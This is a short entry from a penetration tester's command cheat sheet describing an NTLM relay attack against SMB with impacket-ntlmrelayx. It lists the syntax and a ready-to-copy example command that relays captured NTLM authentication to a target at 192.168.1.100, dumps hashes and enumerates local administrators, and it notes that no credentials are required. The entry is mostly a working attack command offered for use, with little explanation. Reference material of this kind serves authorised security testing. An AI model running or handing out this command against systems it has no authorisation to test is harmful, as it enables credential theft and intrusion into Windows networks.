NTLM Relay to SMB

NTLM relay attack targeting SMB service

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

impacket-ntlmrelayx

Category

Credential Attacks / NTLM Relay & Coercion

Platform

linux

Requires

no credentials

Protocols

SMB, NTLM

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-ntlmrelayx -t smb://<ip> -dh -smb2support --enum-local-admins

Examples

impacket-ntlmrelayx -t smb://192.168.1.100 -dh -smb2support --enum-local-admins

Tags

impacket ntlmrelay relay smb

References

• NTLM Theft Tool
• NTLM Relay Theory

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